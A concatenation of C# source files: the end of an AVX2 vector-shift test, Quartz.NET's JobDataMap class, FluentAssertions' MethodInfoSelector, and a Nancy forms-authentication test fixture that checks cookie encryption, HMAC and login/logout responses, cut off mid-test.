test.RunStructFldScenario(this); } public void RunUnsupportedScenario() { TestLibrary.TestFramework.BeginScenario(nameof(RunUnsupportedScenario)); bool succeeded = false; try { RunBasicScenario_UnsafeRead(); } catch (PlatformNotSupportedException) { succeeded = true; } if (!succeeded) { Succeeded = false; } } private void ValidateResult(Vector256<UInt16> firstOp, void* result, [CallerMemberName] string method = "") { UInt16[] inArray = new UInt16[Op1ElementCount]; UInt16[] outArray = new UInt16[RetElementCount]; Unsafe.WriteUnaligned(ref Unsafe.As<UInt16, byte>(ref inArray[0]), firstOp); Unsafe.CopyBlockUnaligned(ref Unsafe.As<UInt16, byte>(ref outArray[0]), ref Unsafe.AsRef<byte>(result), (uint)Unsafe.SizeOf<Vector256<UInt16>>()); ValidateResult(inArray, outArray, method); } private void ValidateResult(void* firstOp, void* result, [CallerMemberName] string method = "") { UInt16[] inArray = new UInt16[Op1ElementCount]; UInt16[] outArray = new UInt16[RetElementCount]; Unsafe.CopyBlockUnaligned(ref Unsafe.As<UInt16, byte>(ref inArray[0]), ref Unsafe.AsRef<byte>(firstOp), (uint)Unsafe.SizeOf<Vector256<UInt16>>()); Unsafe.CopyBlockUnaligned(ref Unsafe.As<UInt16, byte>(ref outArray[0]), ref Unsafe.AsRef<byte>(result), (uint)Unsafe.SizeOf<Vector256<UInt16>>()); ValidateResult(inArray, outArray, method); } private void ValidateResult(UInt16[] firstOp, UInt16[] result, [CallerMemberName] string method = "") { bool succeeded = true; if (0 != result[0]) { succeeded = false; } else { for (var i = 1; i < RetElementCount; i++) { if (0 != result[i]) { succeeded = false; break; } } } if (!succeeded) { TestLibrary.TestFramework.LogInformation($"{nameof(Avx2)}.{nameof(Avx2.ShiftRightLogical)}<UInt16>(Vector256<UInt16><9>): {method} failed:"); TestLibrary.TestFramework.LogInformation($" firstOp: ({string.Join(", ", firstOp)})"); TestLibrary.TestFramework.LogInformation($" result: ({string.Join(", ", result)})"); TestLibrary.TestFramework.LogInformation(string.Empty); Succeeded = false; } } } }
#region License /* * All content copyright Marko Lahma, unless otherwise indicated. All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy * of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations * under the License. * */ #endregion using System; using System.Collections; using System.Collections.Generic; using System.Globalization; using System.Runtime.Serialization; using Quartz.Util; namespace Quartz { /// <summary> /// Holds state information for <see cref="IJob" /> instances. /// </summary> /// <remarks> /// <see cref="JobDataMap" /> instances are stored once when the <see cref="IJob" /> /// is added to a scheduler. They are also re-persisted after every execution of /// instances that have <see cref="PersistJobDataAfterExecutionAttribute" /> present. /// <para> /// <see cref="JobDataMap" /> instances can also be stored with a /// <see cref="ITrigger" />. This can be useful in the case where you have a Job /// that is stored in the scheduler for regular/repeated use by multiple /// Triggers, yet with each independent triggering, you want to supply the /// Job with different data inputs. /// </para> /// <para> /// The <see cref="IJobExecutionContext" /> passed to a Job at execution time /// also contains a convenience <see cref="JobDataMap" /> that is the result /// of merging the contents of the trigger's JobDataMap (if any) over the /// Job's JobDataMap (if any). /// </para> /// <para> /// Update since 2.4.2 - We keep an dirty flag for this map so that whenever you modify(add/delete) any of the entries, /// it will set to "true". However if you create new instance using an exising map with constructor, then /// the dirty flag will NOT be set to "true" until you modify the instance. /// </para> /// </remarks> /// <seealso cref="IJob" /> /// <seealso cref="PersistJobDataAfterExecutionAttribute" /> /// <seealso cref="ITrigger" /> /// <seealso cref="IJobExecutionContext" /> /// <author>James House</author> /// <author>Marko Lahma (.NET)</author> [Serializable] public class JobDataMap : StringKeyDirtyFlagMap { /// <summary> /// Create an empty <see cref="JobDataMap" />. /// </summary> public JobDataMap() : this(0) { } /// <summary> /// Create <see cref="JobDataMap" /> with initial capacity. /// </summary> public JobDataMap(int initialCapacity) : base(initialCapacity) { } /// <summary> /// Create a <see cref="JobDataMap" /> with the given data. /// </summary> public JobDataMap(IDictionary<string, object> map) : this(map.Count) { PutAll(map); // When constructing a new data map from another existing map, we should NOT mark dirty flag as true // Use case: loading JobDataMap from DB ClearDirtyFlag(); } /// <summary> /// Create a <see cref="JobDataMap" /> with the given data. /// </summary> public JobDataMap(IDictionary map) : this(map.Count) { #pragma warning disable 8605 foreach (DictionaryEntry entry in map) #pragma warning restore 8605 { Put((string) entry.Key, entry.Value!); } // When constructing a new data map from another existing map, we should NOT mark dirty flag as true // Use case: loading JobDataMap from DB ClearDirtyFlag(); } /// <summary> /// Serialization constructor. /// </summary> /// <param name="info"></param> /// <param name="context"></param> protected JobDataMap(SerializationInfo info, StreamingContext context) : base(info, context) { } /// <summary> /// Adds the given <see cref="bool" /> value as a string version to the /// <see cref="IJob" />'s data map. /// </summary> public virtual void PutAsString(string key, bool value) { string strValue = value.ToString(); Put(key, strValue); } /// <summary> /// Adds the given <see cref="char" /> value as a string version to the /// <see cref="IJob" />'s data map. /// </summary> public virtual void PutAsString(string key, char value) { string strValue = value.ToString(); Put(key, strValue); } /// <summary> /// Adds the given <see cref="double" /> value as a string version to the /// <see cref="IJob" />'s data map. /// </summary> public virtual void PutAsString(string key, double value) { string strValue = value.ToString(CultureInfo.InvariantCulture); Put(key, strValue); } /// <summary> /// Adds the given <see cref="float" /> value as a string version to the /// <see cref="IJob" />'s data map. /// </summary> public virtual void PutAsString(string key, float value) { string strValue = value.ToString(CultureInfo.InvariantCulture); Put(key, strValue); } /// <summary> /// Adds the given <see cref="int" /> value as a string version to the /// <see cref="IJob" />'s data map. /// </summary> public virtual void PutAsString(string key, int value) { string strValue = value.ToString(CultureInfo.InvariantCulture); Put(key, strValue); } /// <summary> /// Adds the given <see cref="long" /> value as a string version to the /// <see cref="IJob" />'s data map. /// </summary> public virtual void PutAsString(string key, long value) { string strValue = value.ToString(CultureInfo.InvariantCulture); Put(key, strValue); } /// <summary> /// Adds the given <see cref="DateTime" /> value as a string version to the /// <see cref="IJob" />'s data map. /// </summary> public virtual void PutAsString(string key, DateTime value) { string strValue = value.ToString(CultureInfo.InvariantCulture); Put(key, strValue); } /// <summary> /// Adds the given <see cref="DateTimeOffset" /> value as a string version to the /// <see cref="IJob" />'s data map. /// </summary> public virtual void PutAsString(string key, DateTimeOffset value) { string strValue = value.ToString(CultureInfo.InvariantCulture); Put(key, strValue); } /// <summary> /// Adds the given <see cref="TimeSpan" /> value as a string version to the /// <see cref="IJob" />'s data map. /// </summary> public virtual void PutAsString(string key, TimeSpan value) { string strValue = value.ToString(); Put(key, strValue); } /// <summary> /// Adds the given <see cref="Guid" /> value as a string version to the /// <see cref="IJob" />'s data map. The hyphens are omitted from the <see cref="Guid" />. /// </summary> public virtual void PutAsString(string key, Guid value) { string strValue = value.ToString("N"); Put(key, strValue); } /// <summary> /// Adds the given <see cref="Guid" /> value as a string version to the /// <see cref="IJob" />'s data map. The hyphens are omitted from the <see cref="Guid" />. /// </summary> public virtual void PutAsString(string key, Guid? value) { string? strValue = value?.ToString("N"); Put(key, strValue!); } /// <summary> /// Retrieve the identified <see cref="int" /> value from the <see cref="JobDataMap" />. /// </summary> public virtual int GetIntValueFromString(string key) { object obj = Get(key); return int.Parse((string) obj, CultureInfo.InvariantCulture); } /// <summary> /// Retrieve the identified <see cref="int" /> value from the <see cref="JobDataMap" />. /// </summary> public virtual int GetIntValue(string key) { object obj = Get(key); if (obj is string) { return GetIntValueFromString(key); } return GetInt(key); } /// <summary> /// Retrieve the identified <see cref="bool" /> value from the <see cref="JobDataMap" />. /// </summary> public virtual bool GetBooleanValueFromString(string key) { object obj = Get(key); return CultureInfo.InvariantCulture.TextInfo.ToUpper((string) obj).Equals("TRUE"); } /// <summary> /// Retrieve the identified <see cref="bool" /> value from the /// <see cref="JobDataMap" />. /// </summary> public virtual bool GetBooleanValue(string key) { object obj = Get(key); if (obj is string) { return GetBooleanValueFromString(key); } return GetBoolean(key); } /// <summary> /// Retrieve the identified <see cref="char" /> value from the <see cref="JobDataMap" />. /// </summary> public virtual char GetCharFromString(string key) { object obj = Get(key); return ((string) obj)[0]; } /// <summary> /// Retrieve the identified <see cref="double" /> value from the <see cref="JobDataMap" />. /// </summary> public virtual double GetDoubleValueFromString(string key) { object obj = Get(key); return double.Parse((string) obj, CultureInfo.InvariantCulture); } /// <summary> /// Retrieve the identified <see cref="double" /> value from the <see cref="JobDataMap" />. /// </summary> public virtual double GetDoubleValue(string key) { object obj = Get(key); if (obj is string) { return GetDoubleValueFromString(key); } return GetDouble(key); } /// <summary> /// Retrieve the identified <see cref="float" /> value from the <see cref="JobDataMap" />. /// </summary> public virtual float GetFloatValueFromString(string key) { object obj = Get(key); return float.Parse((string) obj, CultureInfo.InvariantCulture); } /// <summary> /// Retrieve the identified <see cref="float" /> value from the <see cref="JobDataMap" />. /// </summary> public virtual float GetFloatValue(string key) { object obj = Get(key); if (obj is string) { return GetFloatValueFromString(key); } return GetFloat(key); } /// <summary> /// Retrieve the identified <see cref="long" /> value from the <see cref="JobDataMap" />. /// </summary> public virtual long GetLongValueFromString(string key) { object obj = Get(key); return long.Parse((string) obj, CultureInfo.InvariantCulture); } /// <summary> /// Retrieve the identified <see cref="DateTime" /> value from the <see cref="JobDataMap" />. /// </summary> public virtual DateTime GetDateTimeValueFromString(string key) { object obj = Get(key); return DateTime.Parse((string) obj, CultureInfo.InvariantCulture); } /// <summary> /// Retrieve the identified <see cref="DateTimeOffset" /> value from the <see cref="JobDataMap" />. /// </summary> public virtual DateTimeOffset GetDateTimeOffsetValueFromString(string key) { object obj = Get(key); return DateTimeOffset.Parse((string) obj, CultureInfo.InvariantCulture); } /// <summary> /// Retrieve the identified <see cref="TimeSpan" /> value from the <see cref="JobDataMap" />. /// </summary> public virtual TimeSpan GetTimeSpanValueFromString(string key) { object obj = Get(key); return TimeSpan.Parse((string) obj, CultureInfo.InvariantCulture); } /// <summary> /// Retrieve the identified <see cref="long" /> value from the <see cref="JobDataMap" />. /// </summary> public virtual long GetLongValue(string key) { object obj = Get(key); if (obj is string) { return GetLongValueFromString(key); } return GetLong(key); } /// <summary> /// Gets the date time. /// </summary> /// <param name="key">The key.</param> /// <returns></returns> public virtual DateTime GetDateTimeValue(string key) { object obj = Get(key); if (obj is string) { return GetDateTimeValueFromString(key); } return GetDateTime(key); } /// <summary> /// Gets the date time offset. /// </summary> /// <param name="key">The key.</param> /// <returns></returns> public virtual DateTimeOffset GetDateTimeOffsetValue(string key) { object obj = Get(key); if (obj is string) { return GetDateTimeOffsetValueFromString(key); } return GetDateTimeOffset(key); } /// <summary> /// Retrieve the identified <see cref="TimeSpan" /> value from the <see cref="JobDataMap" />. /// </summary> public virtual TimeSpan GetTimeSpanValue(string key) { object obj = Get(key); if (obj is string) { return GetTimeSpanValueFromString(key); } return GetTimeSpan(key); } /// <summary> /// Retrieve the identified <see cref="Guid" /> value from the <see cref="JobDataMap" />. /// </summary> public virtual Guid GetGuidValueFromString(string key) { object obj = Get(key); return Guid.Parse((string)obj); } /// <summary> /// Retrieve the identified <see cref="Guid" /> value from the <see cref="JobDataMap" />. /// </summary> public virtual Guid GetGuidValue(string key) { object obj = Get(key); if (obj is string) { return GetGuidValueFromString(key); } return GetGuid(key); } /// <summary> /// Retrieve the identified <see cref="Guid" /> value from the <see cref="JobDataMap" />. /// </summary> public virtual Guid? GetNullableGuidValue(string key) { object obj = Get(key); if (obj is string) { return (obj == null || ((string)obj).Length == 0) ? (Guid?)null : GetGuidValueFromString(key); } return GetNullableGuid(key); } } }
using System; using System.Collections; using System.Collections.Generic; using System.Linq; using System.Reflection; using FluentAssertions.Common; namespace FluentAssertions.Types { /// <summary> /// Allows for fluent selection of methods of a type through reflection. /// </summary> public class MethodInfoSelector : IEnumerable<MethodInfo> { private IEnumerable<MethodInfo> selectedMethods = new List<MethodInfo>(); /// <summary> /// Initializes a new instance of the <see cref="MethodInfoSelector"/> class. /// </summary> /// <param name="type">The type from which to select methods.</param> /// <exception cref="ArgumentNullException"><paramref name="type"/> is <c>null</c>.</exception> public MethodInfoSelector(Type type) : this(new[] { type }) { } /// <summary> /// Initializes a new instance of the <see cref="MethodInfoSelector"/> class. /// </summary> /// <param name="types">The types from which to select methods.</param> /// <exception cref="ArgumentNullException"><paramref name="types"/> is <c>null</c>.</exception> public MethodInfoSelector(IEnumerable<Type> types) { Guard.ThrowIfArgumentIsNull(types, nameof(types)); Guard.ThrowIfArgumentContainsNull(types, nameof(types)); selectedMethods = types.SelectMany(t => t .GetMethods(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic) .Where(method => !HasSpecialName(method))); } /// <summary> /// Only select the methods that are public or internal. /// </summary> public MethodInfoSelector ThatArePublicOrInternal { get { selectedMethods = selectedMethods.Where(method => method.IsPublic || method.IsAssembly); return this; } } /// <summary> /// Only select the methods without a return value /// </summary> public MethodInfoSelector ThatReturnVoid { get { selectedMethods = selectedMethods.Where(method => method.ReturnType == typeof(void)); return this; } } /// <summary> /// Only select the methods with a return value /// </summary> public MethodInfoSelector ThatDoNotReturnVoid { get { selectedMethods = selectedMethods.Where(method => method.ReturnType != typeof(void)); return this; } } /// <summary> /// Only select the methods that return the specified type /// </summary> public MethodInfoSelector ThatReturn<TReturn>() { selectedMethods = selectedMethods.Where(method => method.ReturnType == typeof(TReturn)); return this; } /// <summary> /// Only select the methods that do not return the specified type /// </summary> public MethodInfoSelector ThatDoNotReturn<TReturn>() { selectedMethods = selectedMethods.Where(method => method.ReturnType != typeof(TReturn)); return this; } /// <summary> /// Only select the methods that are decorated with an attribute of the specified type. /// </summary> public MethodInfoSelector ThatAreDecoratedWith<TAttribute>() where TAttribute : Attribute { selectedMethods = selectedMethods.Where(method => method.IsDecoratedWith<TAttribute>()); return this; } /// <summary> /// Only select the methods that are decorated with, or inherits from a parent class, an attribute of the specified type. /// </summary> public MethodInfoSelector ThatAreDecoratedWithOrInherit<TAttribute>() where TAttribute : Attribute { selectedMethods = selectedMethods.Where(method => method.IsDecoratedWithOrInherit<TAttribute>()); return this; } /// <summary> /// Only select the methods that are not decorated with an attribute of the specified type. /// </summary> public MethodInfoSelector ThatAreNotDecoratedWith<TAttribute>() where TAttribute : Attribute { selectedMethods = selectedMethods.Where(method => !method.IsDecoratedWith<TAttribute>()); return this; } /// <summary> /// Only select the methods that are not decorated with and does not inherit from a parent class, an attribute of the specified type. /// </summary> public MethodInfoSelector ThatAreNotDecoratedWithOrInherit<TAttribute>() where TAttribute : Attribute { selectedMethods = selectedMethods.Where(method => !method.IsDecoratedWithOrInherit<TAttribute>()); return this; } /// <summary> /// Only return methods that are async. /// </summary> public MethodInfoSelector ThatAreAsync() { selectedMethods = selectedMethods.Where(method => method.IsAsync()); return this; } /// <summary> /// Only return methods that are not async. /// </summary> public MethodInfoSelector ThatAreNotAsync() { selectedMethods = selectedMethods.Where(method => !method.IsAsync()); return this; } /// <summary> /// Only return methods that are static. /// </summary> public MethodInfoSelector ThatAreStatic() { selectedMethods = selectedMethods.Where(method => method.IsStatic); return this; } /// <summary> /// Only return methods that are not static. /// </summary> public MethodInfoSelector ThatAreNotStatic() { selectedMethods = selectedMethods.Where(method => !method.IsStatic); return this; } /// <summary> /// Only return methods that are virtual. /// </summary> public MethodInfoSelector ThatAreVirtual() { selectedMethods = selectedMethods.Where(method => !method.IsNonVirtual()); return this; } /// <summary> /// Only return methods that are not virtual. /// </summary> public MethodInfoSelector ThatAreNotVirtual() { selectedMethods = selectedMethods.Where(method => method.IsNonVirtual()); return this; } /// <summary> /// Select return types of the methods /// </summary> public TypeSelector ReturnTypes() { var returnTypes = selectedMethods.Select(mi => mi.ReturnType); return new TypeSelector(returnTypes); } /// <summary> /// The resulting <see cref="MethodInfo"/> objects. /// </summary> public MethodInfo[] ToArray() { return selectedMethods.ToArray(); } /// <summary> /// Determines whether the specified method has a special name (like properties and events). /// </summary> private static bool HasSpecialName(MethodInfo method) { return (method.Attributes & MethodAttributes.SpecialName) == MethodAttributes.SpecialName; } /// <summary> /// Returns an enumerator that iterates through the collection. /// </summary> /// <returns> /// A <see cref="System.Collections.Generic.IEnumerator{T}"/> that can be used to iterate through the collection. /// </returns> /// <filterpriority>1</filterpriority> public IEnumerator<MethodInfo> GetEnumerator() { return selectedMethods.GetEnumerator(); } /// <summary> /// Returns an enumerator that iterates through a collection. /// </summary> /// <returns> /// An <see cref="System.Collections.IEnumerator"/> object that can be used to iterate through the collection. /// </returns> /// <filterpriority>2</filterpriority> IEnumerator IEnumerable.GetEnumerator() { return GetEnumerator(); } } }
namespace Nancy.Authentication.Forms.Tests { using System; using System.Linq; using System.Security.Claims; using System.Security.Principal; using System.Threading; using FakeItEasy; using Bootstrapper; using Cryptography; using Nancy.Tests; using Nancy.Tests.Fakes; using Xunit; public class FormsAuthenticationFixture { private FormsAuthenticationConfiguration config; private FormsAuthenticationConfiguration secureConfig; private FormsAuthenticationConfiguration domainPathConfig; private NancyContext context; private Guid userGuid; private string validCookieValue = "C+QzBqI2qSE6Qk60fmCsoMsQNLbQtCAFd5cpcy1xhu4=k+1IvvzkgKgfOK2/EgIr7Ut15f47a0fnlgH9W+Lzjv/a2Zkfxg3sZwI0jB0KeVY9"; private string cookieWithNoHmac = "k+1IvvzkgKgfOK2/EgIr7Ut15f47a0fnlgH9W+Lzjv/a2Zkfxg3sZwI0jB0KeVY9"; private string cookieWithEmptyHmac = "k+1IvvzkgKgfOK2/EgIr7Ut15f47a0fnlgH9W+Lzjv/a2Zkfxg3sZwI0jB0KeVY9"; private string cookieWithInvalidHmac = "C+QzbqI2qSE6Qk60fmCsoMsQNLbQtCAFd5cpcy1xhu4=k+1IvvzkgKgfOK2/EgIr7Ut15f47a0fnlgH9W+Lzjv/a2Zkfxg3sZwI0jB0KeVY9"; private string cookieWithBrokenEncryptedData = "C+QzBqI2qSE6Qk60fmCsoMsQNLbQtCAFd5cpcy1xhu4=k+1IvvzkgKgfOK2/EgIr7Ut15f47a0fnlgH9W+Lzjv/a2Zkfxg3spwI0jB0KeVY9"; private CryptographyConfiguration cryptographyConfiguration; private string domain = ".nancyfx.org"; private string path = "/"; public FormsAuthenticationFixture() { this.cryptographyConfiguration = new CryptographyConfiguration( new RijndaelEncryptionProvider(new PassphraseKeyGenerator("SuperSecretPass", new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 }, 1000)), new DefaultHmacProvider(new PassphraseKeyGenerator("UberSuperSecure", new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 }, 1000))); this.config = new FormsAuthenticationConfiguration() { CryptographyConfiguration = this.cryptographyConfiguration, RedirectUrl = "/login", UserMapper = A.Fake<IUserMapper>(), RequiresSSL = false }; this.secureConfig = new FormsAuthenticationConfiguration() { CryptographyConfiguration = this.cryptographyConfiguration, RedirectUrl = "/login", UserMapper = A.Fake<IUserMapper>(), RequiresSSL = true }; this.domainPathConfig = new FormsAuthenticationConfiguration() { CryptographyConfiguration = this.cryptographyConfiguration, RedirectUrl = "/login", UserMapper = A.Fake<IUserMapper>(), RequiresSSL = false, Domain = domain, Path = path }; this.context = new NancyContext { Request = new Request( "GET", new Url { Scheme = "http", BasePath = "/testing", HostName = "test.com", Path = "test" }) }; this.userGuid = new Guid("3D97EB33-824A-4173-A2C1-633AC16C1010"); } [Fact] public void Should_throw_with_null_application_pipelines_passed_to_enable() { var result = Record.Exception(() => FormsAuthentication.Enable((IPipelines)null, this.config)); result.ShouldBeOfType(typeof(ArgumentNullException)); } [Fact] public void Should_throw_with_null_config_passed_to_enable() { var result = Record.Exception(() => FormsAuthentication.Enable(A.Fake<IPipelines>(), null)); result.ShouldBeOfType(typeof(ArgumentNullException)); } [Fact] public void Should_throw_with_invalid_config_passed_to_enable() { var fakeConfig = A.Fake<FormsAuthenticationConfiguration>(); A.CallTo(() => fakeConfig.EnsureConfigurationIsValid()).Throws<InvalidOperationException>(); var result = Record.Exception(() => FormsAuthentication.Enable(A.Fake<IPipelines>(), fakeConfig)); result.ShouldBeOfType(typeof(InvalidOperationException)); } [Fact] public void Should_add_a_pre_and_post_hook_when_enabled() { var pipelines = A.Fake<IPipelines>(); FormsAuthentication.Enable(pipelines, this.config); A.CallTo(() => pipelines.BeforeRequest.AddItemToStartOfPipeline(A<Func<NancyContext, Response>>.Ignored)) .MustHaveHappened(Repeated.Exactly.Once); A.CallTo(() => pipelines.AfterRequest.AddItemToEndOfPipeline(A<Action<NancyContext>>.Ignored)) .MustHaveHappened(Repeated.Exactly.Once); } [Fact] public void Should_add_a_pre_hook_but_not_a_post_hook_when_DisableRedirect_is_true() { var pipelines = A.Fake<IPipelines>(); this.config.DisableRedirect = true; FormsAuthentication.Enable(pipelines, this.config); A.CallTo(() => pipelines.BeforeRequest.AddItemToStartOfPipeline(A<Func<NancyContext, Response>>.Ignored)) .MustHaveHappened(Repeated.Exactly.Once); A.CallTo(() => pipelines.AfterRequest.AddItemToEndOfPipeline(A<Action<NancyContext>>.Ignored)) .MustNotHaveHappened(); } [Fact] public void Should_return_redirect_response_when_user_logs_in_with_redirect() { FormsAuthentication.Enable(A.Fake<IPipelines>(), this.config); var result = FormsAuthentication.UserLoggedInRedirectResponse(context, userGuid); result.ShouldBeOfType(typeof(Response)); result.StatusCode.ShouldEqual(HttpStatusCode.SeeOther); } [Fact] public void Should_return_ok_response_when_user_logs_in_without_redirect() { // Given FormsAuthentication.Enable(A.Fake<IPipelines>(), this.config); // When var result = FormsAuthentication.UserLoggedInResponse(userGuid); // Then result.ShouldBeOfType(typeof(Response)); result.StatusCode.ShouldEqual(HttpStatusCode.OK); } [Fact] public void Should_have_authentication_cookie_in_login_response_when_logging_in_with_redirect() { FormsAuthentication.Enable(A.Fake<IPipelines>(), this.config); var result = FormsAuthentication.UserLoggedInRedirectResponse(context, userGuid); result.Cookies.Where(c => c.Name == FormsAuthentication.FormsAuthenticationCookieName).Any().ShouldBeTrue(); } [Fact] public void Should_have_authentication_cookie_in_login_response_when_logging_in_without_redirect() { // Given FormsAuthentication.Enable(A.Fake<IPipelines>(), this.config); // When var result = FormsAuthentication.UserLoggedInResponse(userGuid); // Then result.Cookies.Where(c => c.Name == FormsAuthentication.FormsAuthenticationCookieName).Any().ShouldBeTrue(); } [Fact] public void Should_set_authentication_cookie_to_httponly_when_logging_in_with_redirect() { //Given FormsAuthentication.Enable(A.Fake<IPipelines>(), this.config); //When var result = FormsAuthentication.UserLoggedInRedirectResponse(context, userGuid); //Then result.Cookies.Where(c => c.Name == FormsAuthentication.FormsAuthenticationCookieName).First() .HttpOnly.ShouldBeTrue(); } [Fact] public void Should_set_authentication_cookie_to_httponly_when_logging_in_without_redirect() { // Given FormsAuthentication.Enable(A.Fake<IPipelines>(), this.config); // When var result = FormsAuthentication.UserLoggedInResponse(userGuid); // Then result.Cookies.Where(c => c.Name == FormsAuthentication.FormsAuthenticationCookieName).First() .HttpOnly.ShouldBeTrue(); } [Fact] public void Should_not_set_expiry_date_if_one_not_specified_when_logging_in_with_redirect() { FormsAuthentication.Enable(A.Fake<IPipelines>(), this.config); var result = FormsAuthentication.UserLoggedInRedirectResponse(context, userGuid); result.Cookies.Where(c => c.Name == FormsAuthentication.FormsAuthenticationCookieName).First() .Expires.ShouldBeNull(); } [Fact] public void Should_not_set_expiry_date_if_one_not_specified_when_logging_in_without_redirect() { // Given FormsAuthentication.Enable(A.Fake<IPipelines>(), this.config); // When var result = FormsAuthentication.UserLoggedInResponse(userGuid); // Then result.Cookies.Where(c => c.Name == FormsAuthentication.FormsAuthenticationCookieName).First() .Expires.ShouldBeNull(); } [Fact] public void Should_set_expiry_date_if_one_specified_when_logging_in_with_redirect() { FormsAuthentication.Enable(A.Fake<IPipelines>(), this.config); var result = FormsAuthentication.UserLoggedInRedirectResponse(context, userGuid, DateTime.Now.AddDays(1)); result.Cookies.Where(c => c.Name == FormsAuthentication.FormsAuthenticationCookieName).First() .Expires.ShouldNotBeNull(); } [Fact] public void Should_set_expiry_date_if_one_specified_when_logging_in_without_redirect() { // Given FormsAuthentication.Enable(A.Fake<IPipelines>(), this.config); // When var result = FormsAuthentication.UserLoggedInResponse(userGuid, DateTime.Now.AddDays(1)); // Then result.Cookies.Where(c => c.Name == FormsAuthentication.FormsAuthenticationCookieName).First() .Expires.ShouldNotBeNull(); } [Fact] public void Should_encrypt_cookie_when_logging_in_with_redirect() { var mockEncrypter = A.Fake<IEncryptionProvider>(); this.config.CryptographyConfiguration = new CryptographyConfiguration(mockEncrypter, this.cryptographyConfiguration.HmacProvider); FormsAuthentication.Enable(A.Fake<IPipelines>(), this.config); FormsAuthentication.UserLoggedInRedirectResponse(context, userGuid, DateTime.Now.AddDays(1)); A.CallTo(() => mockEncrypter.Encrypt(A<string>.Ignored)) .MustHaveHappened(Repeated.Exactly.Once); } [Fact] public void Should_encrypt_cookie_when_logging_in_without_redirect() { // Given var mockEncrypter = A.Fake<IEncryptionProvider>(); this.config.CryptographyConfiguration = new CryptographyConfiguration(mockEncrypter, this.cryptographyConfiguration.HmacProvider); FormsAuthentication.Enable(A.Fake<IPipelines>(), this.config); // When FormsAuthentication.UserLoggedInResponse(userGuid, DateTime.Now.AddDays(1)); // Then A.CallTo(() => mockEncrypter.Encrypt(A<string>.Ignored)) .MustHaveHappened(Repeated.Exactly.Once); } [Fact] public void Should_generate_hmac_for_cookie_from_encrypted_cookie_when_logging_in_with_redirect() { var fakeEncrypter = A.Fake<IEncryptionProvider>(); var fakeCryptoText = "FakeText"; A.CallTo(() => fakeEncrypter.Encrypt(A<string>.Ignored)) .Returns(fakeCryptoText); var mockHmac = A.Fake<IHmacProvider>(); this.config.CryptographyConfiguration = new CryptographyConfiguration(fakeEncrypter, mockHmac); FormsAuthentication.Enable(A.Fake<IPipelines>(), this.config); FormsAuthentication.UserLoggedInRedirectResponse(context, userGuid, DateTime.Now.AddDays(1)); A.CallTo(() => mockHmac.GenerateHmac(fakeCryptoText)) .MustHaveHappened(Repeated.Exactly.Once); } [Fact] public void Should_generate_hmac_for_cookie_from_encrypted_cookie_when_logging_in_without_redirect() { // Given var fakeEncrypter = A.Fake<IEncryptionProvider>(); var fakeCryptoText = "FakeText"; A.CallTo(() => fakeEncrypter.Encrypt(A<string>.Ignored)) .Returns(fakeCryptoText); var mockHmac = A.Fake<IHmacProvider>(); this.config.CryptographyConfiguration = new CryptographyConfiguration(fakeEncrypter, mockHmac); FormsAuthentication.Enable(A.Fake<IPipelines>(), this.config); // When FormsAuthentication.UserLoggedInResponse(userGuid, DateTime.Now.AddDays(1)); // Then A.CallTo(() => mockHmac.GenerateHmac(fakeCryptoText)) .MustHaveHappened(Repeated.Exactly.Once); } [Fact] public void Should_return_redirect_response_when_user_logs_out_with_redirect() { FormsAuthentication.Enable(A.Fake<IPipelines>(), this.config); var result = FormsAuthentication.LogOutAndRedirectResponse(context, "/"); result.ShouldBeOfType(typeof(Response)); result.StatusCode.ShouldEqual(HttpStatusCode.SeeOther); } [Fact] public void Should_return_ok_response_when_user_logs_out_without_redirect() { // Given FormsAuthentication.Enable(A.Fake<IPipelines>(), this.config); // When var result = FormsAuthentication.LogOutResponse(); // Then result.ShouldBeOfType(typeof(Response)); result.StatusCode.ShouldEqual(HttpStatusCode.OK); } [Fact] public void Should_have_expired_empty_authentication_cookie_in_logout_response_when_user_logs_out_with_redirect() { FormsAuthentication.Enable(A.Fake<IPipelines>(), this.config); var result = FormsAuthentication.LogOutAndRedirectResponse(context, "/"); var cookie = result.Cookies.Where(c => c.Name == FormsAuthentication.FormsAuthenticationCookieName).First(); cookie.Value.ShouldBeEmpty(); cookie.Expires.ShouldNotBeNull(); (cookie.Expires < DateTime.Now).ShouldBeTrue(); } [Fact] public void Should_have_expired_empty_authentication_cookie_in_logout_response_when_user_logs_out_without_redirect() { // Given FormsAuthentication.Enable(A.Fake<IPipelines>(), this.config); // When var result = FormsAuthentication.LogOutResponse(); // Then var cookie = result.Cookies.First(c => c.Name == FormsAuthentication.FormsAuthenticationCookieName); cookie.Value.ShouldBeEmpty(); cookie.Expires.ShouldNotBeNull(); (cookie.Expires < DateTime.Now).ShouldBeTrue(); } [Fact] public void Should_get_username_from_mapping_service_with_valid_cookie() { var fakePipelines = new Pipelines(); var mockMapper = A.Fake<IUserMapper>(); this.config.UserMapper = mockMapper; FormsAuthentication.Enable(fakePipelines, this.config); this.context.Request.Cookies.Add(FormsAuthentication.FormsAuthenticationCookieName, this.validCookieValue); fakePipelines.BeforeRequest.Invoke(this.context, new CancellationToken()); A.CallTo(() => mockMapper.GetUserFromIdentifier(this.userGuid, this.context)) .MustHaveHappened(Repeated.Exactly.Once); } [Fact] public void Should_set_user_in_context_with_valid_cookie() { var fakePipelines = new Pipelines(); var fakeMapper = A.Fake<IUserMapper>(); var fakeUser = new ClaimsPrincipal(new GenericIdentity("Bob")); A.CallTo(() => fakeMapper.GetUserFromIdentifier(this.userGuid, this.context)).Returns(fakeUser); this.config.UserMapper = fakeMapper; FormsAuthentication.Enable(fakePipelines, this.config); this.context.Request.Cookies.Add(FormsAuthentication.FormsAuthenticationCookieName, this.validCookieValue); var result = fakePipelines.BeforeRequest.Invoke(this.context, new CancellationToken()); context.CurrentUser.ShouldBeSameAs(fakeUser); } [Fact] public void Should_not_set_user_in_context_with_empty_cookie() { var fakePipelines = new Pipelines(); var fakeMapper = A.Fake<IUserMapper>(); var fakeUser = new ClaimsPrincipal(new GenericIdentity("Bob")); A.CallTo(() => fakeMapper.GetUserFromIdentifier(this.userGuid, this.context)).Returns(fakeUser); this.config.UserMapper = fakeMapper; FormsAuthentication.Enable(fakePipelines, 